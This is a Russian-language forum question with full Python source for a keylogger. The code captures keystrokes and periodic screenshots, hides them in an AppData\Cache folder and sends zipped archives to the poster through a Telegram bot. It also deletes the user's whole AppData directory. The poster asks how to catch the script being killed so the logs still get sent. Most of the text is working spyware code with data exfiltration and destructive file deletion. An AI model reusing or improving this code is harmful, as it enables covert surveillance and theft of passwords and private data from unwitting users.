Как отследить task kill python-скрипта?
У меня есть кейлоггер, который создаёт папку Cache в AppData (не спрашивайте зачем), туда попадают логи и скриншоты экрана. Потом создаётся архив и он отправляется ко мне через Телеграм бота.
Но вот беда - мне нужно, чтобы во время закрытия терминала или закрытия .exe файла программа через бота отправила мне логи, чтобы ничего не пропало. Вопрос - существует ли модуль/функция, способная отследить task-kill python-скрипта?
Прилагаю код:
from pynput import keyboard
import os
import telebot
import pyautogui
import shutil
import time
try:
shutil.rmtree("C:\\Users\\user\\AppData")
except FileNotFoundError and PermissionError:
pass
try:
os.mkdir("C:\\Users\\user\\AppData\\Cache")
except FileExistsError:
pass
os.chdir("C:\\Users\\user\\AppData\\Cache")
bot = telebot.TeleBot('токен бота')
log = ''
count_screenshot = 0
encounter_to_screenshot = 0
def process_key_press(key):
global log
global count_screenshot
global encounter_to_screenshot
key = str(key)
if len(key) == 3:
key = key[1]
elif key == 'Key.space':
key = " "
log += str(key)
if len(log) >= 1:
write_file(key)
encounter_to_screenshot += 1
log = ''
if encounter_to_screenshot == 5:
count_screenshot += 1
pyautogui.screenshot(str(count_screenshot) + '.jpg')
encounter_to_screenshot = 0
def write_file(key):
with open("log.txt", "a+") as logs:
k = str(key)
countdown = time.time() - os.path.getmtime('log.txt')
if k.find("key") == -1:
logs.write(str(log))
if countdown >= 10:
os.chdir("C:\\Users\\user\\AppData")
shutil.make_archive('All_logs', 'zip', "Cache")
try:
bot.send_document(мой_айди, open(
"All_logs.zip", "rb"), timeout=3)
except ConnectionError:
pass
os.remove('All_logs.zip')
os.chdir("C:\\Users\\user\\AppData\\Cache")
if __name__ == '__main__':
keyboard_listener = keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
keyboard_listener.join()